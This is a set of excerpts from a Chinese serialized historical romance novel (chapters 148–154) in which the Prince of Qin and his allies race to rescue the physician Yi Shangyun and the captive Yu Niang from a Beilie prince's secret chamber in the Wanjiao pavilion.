谁料,易君浩话才开头,轩辕翰便朝其厉声勃然大怒道“易三少,你休想。本王刚才对你那是客气了,这件事容不得你不答应。你南安国毒蛊师好端端的,为何跑到我西秦国境内兴风作浪,其意欲何为?今日,你若不愿意合作,本王便立刻将你逐出西秦国,再向南安讨伐,以后永远都不许你踏入我西秦国土半步。” 闻此,易君浩默默地吞咽下一口口水,瞬间哑口无言了去。 “咚咚咚”就在这时,门外忽然传来一阵叩门声。 轩辕翰怒声道“进来!” “殿下,有个小厮上来说有急事找...易三少。”一直寸步不离,守在门外的程良,显然被方才传出来的主子的暴怒声吓得不轻,进来怯怯地禀报道。 那小厮满脸惶恐的一进来便怯生生地对众人行礼,然后走到易君浩面前,双手捧着那封至今都还尚未拆封的信,深感抱歉地 说道“这位公子,这房内的 第一百四十八章:谁能救她 听了易君浩的一番话,轩辕翰稍作沉默,吩咐程良“你护送易三少和太子一同前去,如果没有的话...立刻返回香满楼与我汇合。” “殿下……” 程良预感今夜一定有大事发生,似是还有话想说,然轩辕翰却伸手将他止住,只意味深长地道“时间也差不多了,是时候该收场了……” 轩辕翰与轩辕玥亲自目送易君浩一行人刚策马离开如意居,轩辕玥终于再也按耐不住憋在心间许久的话,嘟着嘴向轩辕翰问道“皇叔为何不亲自去接云儿回来呢?” 轩辕翰闻之却并没有说话,只是淡淡地看了她一眼,随即又将目光落在那站在一旁,吓得一直在瑟瑟发抖的小厮身上“你过来。” 只见那小厮闻声忽然“扑通”一声,即刻重重地跪倒在了轩辕翰的脚下,哭天抹泪道“秦王殿下饶命,公主殿下饶命,小的有眼无珠,不知道是秦王殿下和公主殿下亲临如意居,小的真是罪该万死,罪该万死……” 小厮一边说着,一边重重地叩起首来。很快,额头便渐渐红起一大片来。 轩辕翰依旧冰块脸着,冷声道“你无须害怕,本王只是想问你一些事,你如实说来便可。” “是,小的一定知无不言,如实交代。”小厮仍惶恐着道。 轩辕翰问“你方才说那女子一身狼狈,那你可见她...她的脸上是否有块红色胎记,亦或是她有无遮了面纱?” 闻此,小厮方才微微松了口气,稍作回想着,一边说道“回秦王殿下话,那女子应该只是淋了白天的一场突如其来的大雨,方才浑身都被浇灌的湿淋淋的。但她倒也算是一个面容姣好,洁白无瑕的貌美女子,并不曾以面纱遮面。” “那不是云儿?”小厮话音刚落,轩辕玥顿时反应过来看着轩辕翰的侧脸急急道。 轩辕翰深吐一口浊气,实则心里却更担心了,就连眉头也悄悄紧紧皱了起来。千怕万怕,终究她还是落在了敌人的手里。 半晌后,他轻声喃喃道“她不是云儿,就只能是那兰香了。云儿真的出事了,那便也是指万娇阁里出事了。这兰香,方才怕是被万娇阁的人发现,遭人追杀所以才逃离开如意居的。” 轩辕玥亦是瞬间明白了过来,却又似还有些疑惑道“那个来这里找易三少的女子是兰香,她是来这里找易三少去救云儿的。那她为何说,关乎许多人的性命?莫非云儿她...已经找到了玉娘,她请易三少是去救她,也是去救玉娘?” “易三少方才回来的时候走的是哪条路?”轩辕翰听着轩辕玥所说,忽然开口问小厮道。 小厮紧忙指着方才易君浩一行人离去的方向,道“就是刚刚离去的这条大道。” “皇叔,你去哪儿?”见轩辕翰突然转身径自急急朝着如意居奔去,轩辕玥亦立刻上前跟着,疑惑的问。 轩辕翰抓紧时间快速上马,对那小厮道“你见过那女子,认识她的容貌,也跟本王一起走吧,务必尽快将那女子给本王找回来。” 小厮答“是” “皇叔,我也去。”轩辕玥亦上马紧随其后,俩人带着如意居里的所有侍卫包括暗卫,一行几十个人,还大张旗鼓的打着秦王府的招牌,浩浩荡荡的一起在街上策马奔驰起来,很快便消失在一片深深的夜雾当中。 “皇叔,我们去哪儿找兰香?”轩辕玥不解地问道。 轩辕翰依旧惜字如金,冷冷道“万娇阁。” 轩辕玥听了一惊“万娇阁?皇叔为何不走方才易三少他们所走的那条路,岂不更近?” 轩辕翰解释“如果兰香逃离开如意居时候,走的是易三少所走的那条路的话,易三少一定不会和她错过的。” 轩辕玥恍然大悟,赞叹道“皇叔英明。可玥儿不明白皇叔夜间行事,为何如此大张旗鼓的行军呢?这排场似乎也……” “本王就是要让东躲西藏着的兰香,很容易发现本王的队伍,也让那些追杀她的人闻风丧胆。”轩辕翰道。 轩辕玥又一次为这个皇叔感到震惊“原来如此,皇叔果然心思缜密。” 说完,俩人便用力一挥手中的鞭子,在夜里的街市上一边搜索着,一边扬长直奔万娇阁而去。 同样的一片夜色下,一女子在街上被两名黑衣杀手紧追不舍着。 此时,那女子已然跑得气也喘不过来了,显然已体力不支,她捂着胸口,紧张的感觉自己的心都要跳出来了似的。脚步也变得越来越沉重,俩腿已徐徐发软,似是随时随地都有瘫倒的可能。 放眼往后忽然一瞥,只见两道杀气腾腾的白光闪动着紧随其后,向她追来。 一时慌不择路,只顾往前拼命的急奔,竟不知自己路也走叉了,心中只道:“南无救苦救难观世音菩萨,保佑兰香得脱此难!” 不知不觉间,女子竟被逼到了一个漆黑的死胡同里,后面的俩个黑衣杀手一见,即刻相视而笑。 尔后便忽然腾空而起,刚好立在了女子的面前,挡住了她的去路。 那女子霎时惊恐近乎绝望的愣愣盯视着眼前二人,接着只见其中一人将 第一百四十九章:黑夜里的官衔牌 嫣红点点头“开始她也是反抗拒绝的,可是后来阁主拿我们的性命威胁云儿,她便应下了。” “她怎么能答应?怎么能答应呢?不行,我绝对不能让阁主将云儿带走,绝对不能。”兰香咬牙切齿恨恨地一边说着,一边已经在着急的盘算着所有她能想到的可以救衣上云的办法。 忽然,她眼睛一亮,似是心里已经有了主意,随即连忙起身来拉起嫣红的手欲要离去,说道“如今,云儿让我找的那俩个人都没找着。看来,只有这个办法了...走,我们去找秦王殿下,揭发阁主的阴谋,秦王一定救得了云儿。” 嫣红略一迟疑,蹙眉疑惑道“秦王殿下?她会管我们这些小小庶民的闲事么?” “你难道忘了,秦王殿下派人在万娇阁里所寻的那个画像上的女子了么?那便是云儿呀,你肯定想不到,云儿是秦王府的医女。”兰香惊喜道。 听了兰香的话,嫣红怔住眼睛终于恍然大悟,可依旧不能相信“原来如此,可…就算她是那秦王府上的一名医女,终究只不过一个身份卑微的王府奴婢,秦王又怎么可能会真的在意呢?” 兰香看着嫣红疑心重重的样子,顿时来了气,嘟着嘴只道“哎呦,你就不要疑神疑鬼,婆婆妈妈了。秦王既能派人画出那般逼真的画像,亲自来寻,定是有他的打算。我倒看那云儿气质不凡、她正义凛然、临危不惧、傲然风骨、绝非普通女子。说不定秦王对她……” 兰香说着说着,似是心中揣测到了一些什么极为微妙的事情,随即欲言又止了去。 一转念,她忽然又蹙眉似是有些什么顾虑,犹犹豫豫地问嫣红“只是,如果我们去跟秦王揭露了万娇阁的阴谋的话,茹姨与阁主狼狈为奸,如此…可能会连累茹姨,你…你真的忍心么?” 嫣红默不作声的听着,脸上的忧色却越来越浓,仔细想了想,那茹姨为了自己的儿子和有朝一日能报仇雪恨,在拓跋泽的面前一贯唯命是从、为虎作伥、小心翼翼、根本保护不了她丝毫。拓跋泽野心勃勃、心狠手辣、他们早晚得出事儿。 片刻后,心一横,一咬牙,嫣红说道“茹姨…她已经被仇恨蒙蔽了双眼,丧失了理智。此生,唯有西秦国方才是能够庇护嫣红永远的家园。除了西秦,嫣红哪儿都不去,香儿姐才是嫣红在这个世上唯一的亲人。以后,香儿姐走到哪里,嫣红便跟到哪里,嫣红与香儿姐,此生永远不离不弃。” 话毕,俩人深深地看着彼此的眼睛,紧紧抱做一团,瞬间满面热泪盈眶。 就在这时,从俩人身后那条漆黑的大道尽头,忽然传来一阵“嘚嘚嘚……”连续不断的马蹄声,与此同时还散发出隐隐约约的烛火之光。 俩人闻声即刻惊慌地再次退到了石狮子后面,警觉的躲藏起来,只同时缓缓探出来半个脑袋,向着发出声音来的方向睁大了眼睛凝神望去。 借着淡淡的烛火之光,兰香感觉那像是什么府衙的阵仗队伍,不禁疑惑道“这大半夜,黑灯瞎火的,怎么还会有官员在街上大张旗鼓地夜行呢?” 嫣红闻此眼睛咕噜一转,稍作思量,却道“香儿姐,不如…我们去报官吧。若是去找秦王殿下,我们也不知道去哪儿找啊。即便是知道去哪里能找到他,秦王那样高高在上的人,又岂是我们这般粗漏卑微的人能随意便能见到的。况且,就算见到了,他也未必会相信我们所说的话啊!没准儿,还将我们痛打一顿,或者关起来呢?到时候就更没有人能救云儿和揭发阁主的阴谋了。” 话音刚落,兰香便狠狠地瞪了嫣红一眼,刚说了她,这么快便忘记了。她总是这般胆小怕事,疑神疑鬼,兰香无奈地叹了口气道“不,我倒相信,人人口中所传颂的爱民如子的战神秦王殿下,他可不是那样的势力昏庸之人。况且,这万娇阁在西秦官吏中也关联甚广,眼下的这个官也不知道是不是与阁主同流合污的。倘若我们出去恰好落在他们手里,那岂不是自投罗网么?与其如此,我们倒不妨将所有赌注孤注一掷地全都压在秦王殿下身上。” “可是……”嫣红依旧觉得眼下难得出现的这个官衙阵仗,是个不容错过的绝好求援机会,还想再劝。 然兰香却一脸决绝地将她的话噎了回去,训斥道“不要说了,我心意已决,你就不要再竟瞎出些馊主意了,此事事关重大,容不得有半分纰漏。你有想这些乱七八糟的时间,还不如好好想想,我们究竟去哪里才能找到秦王殿下本尊呢!” 说完,便气呼呼的将视线收了回去,背过身不再看这声势浩大的府衙夜行阵仗。 嫣红不得已也只得收了声,却依旧眼巴巴的望着眼前这即将擦肩而过的救命稻草,不想放弃。 随着远处那队伍距离俩人身边愈来愈近,当其行至街角即将拐弯离去的时候,嫣红忽然在那比一般官家夜里行走时,所用的要更加明亮许多的烛火照耀下,清清楚楚的看到队伍前面,被俩个侍卫高高举起的刻印着十分明显的‘秦王府’字样的官衔牌。 一时间,她似乎都不敢相信自己的眼睛,直伸手一次又一次用力地揉搓着那正常的不能再正常的一双大眼睛,霎时间竟惊的口痴了起来“香儿姐,香儿姐,快,快,你快看…是…是秦…秦…秦王府的官衔牌。” 然兰香却根本不听她的诱导之词,只依旧 第一百五十章:是生是死,看她造化了 轩辕玥哼笑一声,道“恰巧?哼……这可一点都不巧,秦皇叔如此大张旗鼓地在夜间行走,就是为了等你出现。你为何不一开始便来向秦王殿下求助呢?” “秦皇叔?”闻此,兰香方才惊讶地意识到,眼前这个正骑在马上看似英姿飒爽,一直在朝她发问的女子原来是公主殿下。再瞧着她对衣上云的事情仿佛也很着急上心的样子。难道,她们俩也很熟? 一醒过神来,兰香连忙回话道“回秦王殿下和公主殿下的话,当时兰香被杀手追杀,云儿看出那些杀手是奔着民女性命来的,她便出谋说由她去接民女外婆,让民女设法到万娇阁里找人求救。民女知道秦王殿下在万娇阁找云儿,一开始便提议她直接找秦王殿下庇护,可云儿说殿下是在声东击西,以寻她做幌子,实则是在办朝廷的大事,不得因此让秦王殿下为她的事而分心,坏了殿下的大事。就算遇到殿下,也不得说漏半个字,如若不是如今兰香寻人不遇,没了主意,兰香断不敢……” 轩辕玥闻此,默默的将目光移向了轩辕翰,只见轩辕翰眉头越来越紧地皱着,焉知此时他的内心里闻此气直往上冲,这个蠢笨至极的女人,总爱自以为是自作聪明,到底什么时候才能明白他的心。 半晌后,他开口却问“你可识得玉娘?” “玉娘?”兰香一听到这个名字,不禁俯首着有些瑟瑟发抖起来“不知殿下为何会问玉娘?” “玉娘是本王安排在万娇阁里的人,却在不久前无端失踪,你可知道如今她人在何处?” 原来如此“玉娘,她被阁主关在了万娇阁后院的阁楼里。” “胡说,万娇阁后院,本王的人已经都仔仔细细查过很多次了,根本未见有任何可以羁押人的地方?”轩辕翰忽然提高声音怒喝道。 “殿下息怒,玉娘和云儿真的都被关在万娇阁后院阁楼的密室里。”见此,嫣红连忙上前开口解释道,兰香也为此颇为惊讶,这后院阁楼禁地果然如她所料,暗藏玄机。 “密室?”轩辕翰看着嫣红喃喃着疑惑道。 嫣红接着又道“民女是万娇阁的嫣红,亦是老鸨的义女。无意中听老鸨说起,万娇阁后院的阁楼里有一个极为神秘的暗室。” “那暗室,你可知道其机关在哪里?”轩辕翰顿时竟有些激动的问。 然嫣红却也无奈地摇起了头来。 忽然,她似是想到了什么,开口忙说“老鸨既知道阁楼里有密室,也许她知道开启密室的机关。民女去求老鸨,想她一定会告诉民女的。” 刻不容缓,轩辕翰怔了一下,随即将手一抬,便有侍卫上前来对跪在地上的俩个女子说道“姑娘,快上马。” 于是,一支浩浩荡荡的队伍 在漆黑的夜里,又开始继续加速直奔万娇阁而去。 万娇阁后院的茶室里。 拓跋泽的近身侍卫又一次认真地问道“殿下,如今西秦国的那股神秘力量我们还尚未探究到,殿下真就打算这样回国了么?” 拓跋泽坐在茶席上,看着眼前不断翻滚着的沸水,幽幽道“‘留着青山在,不怕没柴烧’,这俩年,关于那股世间极致神秘至强的力量,始终没有丝毫消息,我们甚至连这股力量究竟是什么都没弄清楚,只零零散散地探知道得此力量者得天下,而这股力量到底是一个神秘部落,还是一个特别的女子,是一把能斩妖除魔的神剑,还是一种拥有天下最神奇力量的神秘血液,还是一个这神秘部落世代相传的圣物,能创造奇迹的力量,一切的一切……” 欲言又止地停顿了片刻,吐了口浊气,他继续道“算了,先回去吧,此事,再从长计议。如今,万娇阁已经危在旦夕了。” 话一说完,他抬头向着窗外凝视着看了看对面那付诸了他不少心血和汗水的地方,一脸的不舍与无奈。 这时,旁边的侍卫也朝着他所看向的方向望了望,随后道“也好,反正我们早晚还是要再回来的。只望来年我们重返西秦的时候,二殿下能与我们齐心协力,那就太好了……” 见到主人依旧眼神悠长难舍难分地驻目沉思着,侍卫转口道“殿下带着衣上云先从密道里离开吧,属下来帮主子断后。” 拓跋泽闻此,方才收回视线,回过神缓缓起身来走到侍卫的面前,忽然将手搭在侍卫的肩上拍了拍,尤为客气地道“这些年,你跟着本皇子在外四处奔波,辛苦了。” 侍卫惶恐地拱手向其行礼道“主子这是什么话,这辈子能跟着主子,为主子分忧效力,是属下的福气。” 随后,拓跋泽又缓缓踱步到窗边,将眼睛闭起,幽幽道“万娇阁里的人,除了老鸨,其他人该处理就都处理掉。记住,千万不要留下任何蛛丝马迹。” 明明极为狠毒的话,此时却都被他说的那样云淡风轻,仿佛人命与草芥真无二般似的。 侍卫听了只疑惑欲言又止地问“那玉娘呢,殿下不会真的依了那衣上云的,将她放了吧,还是也……” 拓跋泽依旧只管轻闭着眼睛,不知是在盘算着什么还是在闭目养神。 沉默了半晌后,似是心里终于艰难地做好了一个决定,缓缓说道“将她还关在暗室里,就让她自生自灭吧,是生是死,就看她的造化了……” 侍卫听了,这才胸有成竹,信誓旦旦地道“殿下放心,属下知道怎么做了。殿下准备准备,快些启程吧,这会儿那秦王轩辕翰和他的侍卫正好都不在。” “嗯,你自己也多保重 ,处理好这里的一切马上跟上来。” 话一说完,侍卫便退下去安排准备了。 & 第一百五十一章:血水 俩个人紧紧地拥在了一起,泪水瞬间模糊了彼此的双眼。 她历尽凶险,终于见到了她,还好她还活着; 而她亦终于熬过了无数个绝望痛苦的日日夜夜,在她出现的时候,还好自己还活着; 不知为何,此时相拥着的俩人竟像是久别重逢的友人般情深意重。任谁都不会相信,她们实际上只不过是在秦王府短短几日里,一个是医者,一个是患者,仅此而已。 又或许,人生最美的相遇,往往只在一瞬间即成为了永恒。 她们谁都不曾想,自从上次在秦王府一别。再次相聚,竟然会是在这种境遇之下,一时间各自心里都百感交集。 忽然,玉娘回过神来连忙一把推开衣上云,即刻跪在她的面前一遍又一遍地在她面前磕起头来“对不起,对不起,都是玉娘的错。玉娘不该急于想要在临死之前得到平安的消息,便跟他们交换条件,将他们手里画像上女子的名字,亦就是你的名字告诉他们。这才让他们把你也抓了回来。玉娘真是罪该万死,罪该万死啊,不不不,就算是万死,玉娘亦难辞其疚……” 衣上云被突然而来的这眼前惊人一幕惊呆了,一醒过神来只连忙伸手又再次摸黑将玉娘捞了出来,直道“你快起来,没关系,没关系,真的没关系。这不是你的错,我来这里本就是为寻你而来的。” “什么?衣姑娘是来寻我的?”玉娘闻此忽然止住了动作愣愣地吃惊道。 衣上云笑着点点头,俩人互相扶着背靠墙角席地而坐下来。衣上云方才握着玉娘的手缓缓道“除夕夜的时候,我在秦王府见到了婆婆和灵儿,方才知道你为了寻回夫君竟然甘愿沦落到这种地方来打听他的消息。便想着乘还有时间,来这里看看你,没想到,你真的出事了。玉娘,你真是太苦了。” “不,玉娘不苦,只要能寻回夫君,一家团聚。就算是让玉娘上刀山下油锅,玉娘也在所不惜,只可惜那个人他说平安已经……死了。”玉娘一边抹着眼泪,一边声音颤颤地说着。 “死了?是谁说的?……对了,方才你说在你临死之前……”衣上云听着玉娘的话,眉头紧皱满是疑惑地问。 玉娘稍一回想,道“自从我再次回到万娇阁里,她们便继续给我每日服用各种不同的汤药,从未间断。直到前几日,那老鸨带着一个遮着面具的男子来到了这里。起初,我以为是自己的日子到了。谁料,那男子竟然说他有平安的消息,条件是让我告诉他那画像上女子的姓名。我…我太想念平安,太想知道他是生还是死,便告诉了他们。可他们却告诉我,平安已经死了。之后,那老鸨便拿着一把锋利的匕首朝我走来,我以为我要死了,却没想还在 这不见天日的地牢里苟延残喘着,与其这样毫无希望的活着,倒不如真的一死百了算了……” 话刚说完,玉娘便又一次痛哭起来。 衣上云连忙握紧她的手,宽慰道“毫无希望?玉娘你怎么能说毫无希望呢?灵儿还有婆婆,她们难道不是你真真实实存在的希望么?再说了,那些坏人的话岂能相信?他们说你的夫君死了,便真的死了?好人有好报,苍天有眼,定不敢枉收人性命去了的。” “可是,这么多年过去了。已经太久了,我真的已经撑不下去了……”玉面的言语和神色里显得疲惫又无奈。 然衣上云却坚定道“既然你那么爱你的夫君…‘活要见人,死要见尸。’即便就算是死了已被尘土浅埋,那也要扒出尸骨来验一验。除非自己亲眼所见,否则怎能如此自暴自弃。这才是你真正该有的态度,不是么?” 这一番话刚出,玉娘心里便即刻似是有一股源源不断的力量涌了出来,连气也顺了不少,眼睛瞬间睁大着放射出熠熠生辉的光芒来,直道“对,对,对,我不该放弃,不能放弃。” 闻此,衣上云终于松了口气,笑了起来。 就在这时,玉娘忽然连续不断剧烈地咳嗽了起来“咳…咳…咳咳咳…咳咳咳……” 衣上云连忙紧张地拍着她的后背“你怎么了,怎么忽然咳的这么厉害…水…水…来人,来人啊。” 见她咳的话都说不出来,她赶忙松开玉娘的手,顺着墙壁站起身来,慌慌张张地想要摸到门边去要水,却在没走出几步时便被绊倒在地,只听“啊”的一声尖叫,她的手腕不知道被什么东西割到了,顿时鲜血直流。她来不及处理,玉娘那似是即将窒息的咳声让她本来就恐惧着的心变得更加恐惧。 终于,她摸到了门边上,大力地拍打着门板喊道“给我水,我要水,快点给我水…” 果然,门外看守的侍卫听到声音很快便走过来掀开门上巴掌大的小窗,吼道“喊什么喊,又不是死了人,再喊老子对你不客气了。” “快点给我水,若没有水,你看会不会死人!”衣上云毫不畏惧地一边亦朝其怒着,一边将自己方才不小心割破的手腕亮到了小窗口。 那侍卫一见,果然吓得不轻,愣了一下,马上便过去递了一小壶水和一个白瓷茶碗给她,又速速将小窗掩了起来。 衣上云没有丝毫迟疑,再次顺着墙壁,一步一步摸黑找到玉娘,倒了碗水给她喂下。 殊不知,就在她摸黑给她倒水时,其手腕上那还未来得及处理的伤口,上面的鲜血一滴一滴不知道滴在茶碗的水里多少滴,竟都混着被玉娘一起饮了下去。 这样的一碗血水刚入腹不久,玉娘便止住了咳 嗽,衣上云方才关切道“可好点了么?再饮点吧。” 这时,玉娘已经完全可以自己捧着茶碗了,衣上云便腾出手来,替她把了把脉。惊道“你中毒了,看样子应该是一些不同的慢性毒,日积月累堆积起来而成的一种巨毒。” 就在这时,“吱呀”一声,暗室的门忽然被再次打开,一束久违了的刺眼的微光照射下,尘埃飞舞,随之缓缓现出一个高大伟岸的男子身影来 第一百五十二章:完璧归赵 拓跋泽心想,看来这个女子竟真的是个极为神秘的解毒高手。她竟然能神不知鬼不觉地便将这世间几乎是无解的美人血之毒都可以解了,这次真是得了个宝。 将她带回北烈一定不会错,哪怕她目前还不愿意为他所用。可他相信,时光漫漫,总有一天,她会想通的。到那时,他便如虎添翼,必将囊括四海。 一念至此,拓跋泽方才缓缓起身来单手负后着悠悠走到一边,深吸口气抬起头来看着玉娘道“也罢,本皇子既然曾答应过要帮你找回你的丈夫赵平安,以此来弥补对你养美人血所造成的伤害。虽说后来查到那赵平安确实已死,但终究还是本皇子失信与你了。为此,着实心中多少也是有些愧疚的。可如今,既然你身上的美人血,毒已解,本皇子也算是对你完璧归赵,问心无愧了。” 闻此,玉娘方才眉头紧锁着恍然大悟道“什么?你是……你就是那个北烈国茶商?” 当她接下来看到拓跋泽对她此疑问默认不讳,且一副高高在上的淡定姿态时,玉娘顿时便来了气,直怒道“住口,不许你在我面前提‘赵平安’三个字,你不配。枉我当初还把你当做好人,玉娘的夫君忠君爱国,一腔热血,岂容你这般卑鄙小人来玷污他的名节。更何况,关于平安,玉娘此后已经不会再相信任何人的只字片语了。玉娘相信平安……他一定不会死的。就算是他真的死了,我也一定要亲自扒出他的尸骨来验过才会相信。” 玉娘说完便将目光转向了旁边衣上云的脸上,衣上云朝她颇为满意地微笑着点了点头。 “你...人死不能复生,你又何苦如此执迷不悟呢?”拓跋泽见玉娘一脸决绝,如此坚定的意志,不禁震惊道。 然玉娘仍满脸坚决,轻蔑地朝其一笑,随后似是厌恶极了地说道“何苦?玉娘的事,与你何干?从现在起,我不想再跟你多说一个字,你在我西秦的国土上,做了这么多丧尽天良,泯灭人性的事。与你说话,玉娘感到恶心至极。玉娘但愿……从来都没有认识过你。” 话音刚落,拓跋泽似是还想开口为自己辩解些什么,却瞬间又将那张薄薄的微微半张开来的唇缓缓闭了起来。 最后,他吐了一口浊气,正色着背着玉娘,望着另一边,道“不管本皇子是北烈国皇子,还是这西秦万娇阁的阁主,亦或者又是那个北烈国茶商,但本皇子对你,从来都没有……算了,事到如今,本皇子说什么你都不会信的。有些话,还是烂在自己肚子里比较好……” 最终,他想说的还是一次次话到嘴边又吞了下去,他们俩的相遇,本就从一开始便注定是个错误。今天的结局,也只不过是在他预料之中的事罢了。只是 ,他也不知道自己为何会被这预料之中的结局影响至此。 此时此刻,他的脑海里忽然浮起了他们第一次相见时的情景:明明是个庶民的身份,却天生丽质,一副不俗的如兰气质。为了寻那个叫做赵平安的人,她不惜四处碰壁,受尽冷眼与欺凌。还冒险闯入万娇阁里,假扮风尘女子想借机接近那些官员打探与北烈相关的消息,若不是他,她险些就被她口中所说的那些血肉同胞给侮辱了。 那些想要侮辱她的人,不正是她口口声声所要维护的西秦国同胞么。他们难道就没有错? 而他,他只不过是身不由己生在了帝王家,为了自己的国家做着自己使命里应该做的事情,承担着自己该承担的那份责任,又何错之有? 如今这个天下,又有哪个不在费劲心思虎视眈眈地想要一统天下呢? 假使,如果他不是北烈国的皇子,如果他不是承担着一份保家卫国的天命,是不是她就不会这么排斥他了呢? 可那又如何,左不过是个不合时宜的迟到的相遇。她已经有了她的天,她的地,她对此是那样的忠贞不渝。他又算什么?这注定就是一场悲剧。 而给她下毒,养美人血,是他做的最错的一个决定,而如今,幸好她的毒也已经被解了。 是时候了无牵挂地离开了,离开这个他既做不了为达目的不择手段的北烈国皇子,亦做不了真正的自己的地方。 离开这里,至少他可以全力以赴毫无顾忌地努力去争这个天下。从此,再也没有什么可以阻挡他这个坚定的脚步,没有。 而她,既然如此执着,那就由她自己去自生自灭吧,若她口中所谓的骨肉同胞能赶在她渴死或者饿死之前找到她,救了她,那便是她的幸运;而如若不能,那亦是她的命,一切,就让老天来决定吧。 想清楚了这所有过往,拓跋泽忽然转身过来眼怔怔地看向面前的俩个女子,女子顿时吓得不知所措彼此紧紧搀扶着紧挨在一起立着,一脸惶恐,不知道他又在打什么主意,想要对她们做什么? 片刻后,只见他正色着看向衣上云对其说道“本皇子前来是信守承诺,如约放了她们,带你回北烈的。你们若是叙旧够了的话,我们不妨就启程上路吧,外面的天色已经快亮了。” 衣上云闻之心里忽然惊了一下,原来进密室之前,他方才说的一切都是真的,他真的要带她回北烈国。此时,如若她不答应,那玉娘、兰香、嫣红……,可她当时并没有完全想好,她只想着先稳住她,等她想个万全之策来脱身。 可后来到了密室里,他又让人把她和玉娘关了起来,她便以为她是中计了,他实际上是想把她们全都控制起来以备他用。 如 今,还未等她来得及想到任何策略,这就要让她来不及做任何防备便如此措手不及的跟着他上路去北烈国了。 一念至此,衣上云只得吞吞吐吐再次开口拖延道“我……圣人有云‘ 第一百五十三章:十里红妆怎及我江山为聘 “易三少,你……你是不是也喜欢云儿?”轩辕昊与易君浩连夜策马奔驰在前往兰香家的途中,轩辕昊自打在如意居里见到这个扮相十分妖艳洒脱的男子第一眼起,一路上便时不时地睁着圆圆的大眼向他上下打量,甚是好奇。思量许久,此时终于还是忍不住开口低声问了一句。 易君浩听了却淡淡地斜眼瞟了一眼身边的这个十岁少年,随后满满轻蔑的口气道“小孩儿,你毛都不曾长全,可懂得什么叫做喜欢?” 轩辕昊听闻即刻朝其不悦地哼之以鼻,又翻了个白眼,抬起头来没好气地道“哼,你才小孩儿呢。我已经十岁了,怎么不懂。瞧你对云儿的事火急火燎的那股上心劲儿,一点儿都不输于秦皇叔,你还不承认?” 眼瞅着易君浩依旧只埋头赶路,并不答他的话,他继续佯装着一副小大人的模样,道“唉,你们这些大人可真是奇怪,明明都很喜欢,却都不敢主动对人家姑娘表明心意。你是这般,秦皇叔亦是如此,真搞不懂你们在想什么?如果哪天云儿那丫头真的出事或者不见了,看你们俩个悔青肠子亦是枉然。” 话音刚落,易君浩便瞬间扭头朝其看过去,瞪起一双细长的桃花眼,像是要将这说错话的人活吞了一般,忿忿道“住嘴,有我易三少在,丫头这一生都不会有事。” 轩辕昊竟被其这般言色吓了一跳,一回过神来忙歉然着道“呸呸呸,本太子说错话了,云儿那丫头万分良善,一定会一世平安,好运相伴的。” 闻此,易君浩方才缓缓收回了那双愤怒的眼睛。 俩人沉默了片刻后,岂料轩辕昊又再次跃跃欲试地挑起话来“易三少,你和秦皇叔都喜欢云儿,可就不知云儿的心里,比较中意你们哪个多一点呢?” 见易君浩丝毫不为他此话所动,轩辕昊便吸了口气,似是鼓足了勇气理直气壮地道“易三少,你退出吧。对于云儿,我皇叔是志在必得的。而且我母后亦答应我皇姐,待到云儿出嫁之时,要以西秦国母的身份亲自赠她十里红妆呢,这是何等的荣耀!你是绝对不会有机会的。” 易君浩亦不甘示弱,微微一笑,豪言道“区区一份十里红妆算什么,怎及我江山为聘。只要她衣上云点头,我易三少愿以整个灵空的江山为聘,娶她为妻。执子之手,与子偕老。” 轩辕昊闻之眼睛顿时一亮,皱起眉来朝其疑惑道“你以江山为聘?你……莫非你是灵空大陆哪国的储君?” 看着易君浩似是对他的猜忌默认不讳,一脸严肃,轩辕昊方才又一次仔仔细细地将他打量了一番,再听他方才说话的口音,轩辕昊顿时张大了嘴巴,伸出一根手指朝其点着,恍然大悟“莫非你是...南安国 太子?” 他忽然想起,曾经他与温太傅游历灵空各国。途径南安国,在民间走访的时候,偶尔闻得有人曾提起过,南安国太子与国君父子不睦,太子离国出走数年,至今未归。相传这太子亦是平日里素爱一身妖孽扮相,莫非就是眼前这人…… 就在轩辕昊沉浸在自己猜测中时,易君浩却冷冷开口否认道“我不是,你不必再费尽心思胡乱猜测了。只要丫头愿意,我什么都肯为她做,哪怕是夺取这整个天下。” 轩辕昊听了,这才松了口气,停止了自己渐深的思绪,道“原来你是这个意思,那我就放心了。如此说来,你定是争不过我秦皇叔的。其实……秦皇叔他,表面上看起来风光无限,实则每一日都过的很不开心,这些年,他很累。而云儿,是我见过的唯一一个可以让他上心,让他有正常人的喜怒哀乐的人。可越是这样在乎的他,如果最后得不到,真不知道他会怎么样?” 然易君浩却笑了笑,蔑视着道“哼,大丈夫能屈能伸,既然拿得起,就还该放得下。没想到人人口中称颂的灵空战神轩辕翰竟如此输不起,还轮到你一个小毛孩来替他求情,他还有什么资格与我争丫头。” “你...易三少,秦皇叔的母妃之死,对他打击颇重。你不能再将云儿也从她身边夺走,她几乎是他的命啊。”轩辕昊顿时咬牙切齿地朝其怒道。 “那你可知,丫头也是我易三少的命?”然易君浩亦毫不肯相让道。 “你...哼,反正我西秦一定不会让秦皇叔再受此感情之苦了。”轩辕昊一脸正色地信誓旦旦道。 此时,易三少脸上忽然露出一丝得意之色,道“哼,那我们就走着瞧,眼下,即将出现在丫头面前的是我易三少,可不是他轩辕翰。” 轩辕昊闻此心里顿时嘀咕,唉,这个秦皇叔怎么不亲自来英雄救美呢,这回让这个易三少白白捡了个大便宜。 正在恼着,忽闻易君浩问“小孩儿,还有多久才到那户人家?” “前面最后一个小门就是了”轩辕昊微抬起头来观察了一下,随即又丧气地垂着脑袋嘟着嘴一脸不悦地说道。 然话刚说完低下头来,他似发觉有些什么不对劲,便又匆匆再次抬起头朝前方瞥去,这才清楚地看到那户人家的大门竟然敞开的大大的,他赶忙抬头看了看天色,低声纳闷道“不对啊,这会儿距离天亮还有半个时辰呢,这大门怎么就如此敞开大着呢?” “你确定是这户,没错?”闻此,易君浩再次向其确认道。 “肯定是这户,绝对没错,这一片就属他们家新年里,门庭上布置的最为寒酸。”轩辕昊一边极肯定地说着,俩人便一道跃下了马来。 程良一直紧 随其后,在一旁默不作声,对于他家主子的这个犹如粪坑里的石头般又臭又硬的情敌,他显然是没有一点招数来应对他的。 尤其是上次,没想到为了治愈衣上云的腿疾,那易君浩,竟然也甘愿冒 第一百五十四章:冰美人再现,鲜红胜血 思及此,老鸨的脸上顿显出一片无边无尽的黯然之色。 人老珠黄、美貌不在、青春不返、痛失爱子、被亲姐陷害、家国不容身。 余生太长,风烛残年里又有谁能够陪她度过以后这漫长岁月。 到如今,究竟还有什么是值得她留恋,让她苟活下去的呢? 没有…… 